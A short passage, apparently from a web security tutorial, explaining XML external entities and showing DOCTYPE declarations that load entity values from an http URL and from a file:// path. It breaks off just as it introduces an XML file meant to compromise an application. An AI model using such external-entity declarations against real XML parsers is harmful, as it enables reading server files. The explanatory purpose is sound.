What are XML external entities?

XML external entities are a type of custom entity whose definition is located outside of the DTD where they are declared.

The declaration of an external entity uses the SYSTEM keyword and must specify a URL from which the value of the entity should be loaded.

  • <!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://normal-website.com" > ]>

The URL can use the file:// protocol, and so external entities can be loaded from file.

  • <!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///path/to/file" > ]>

you can use other protocols besides http such as file.

If an XML parser (reader) processes external entities, this is a security flaw. Below is an XML file that can be used to compromise an application: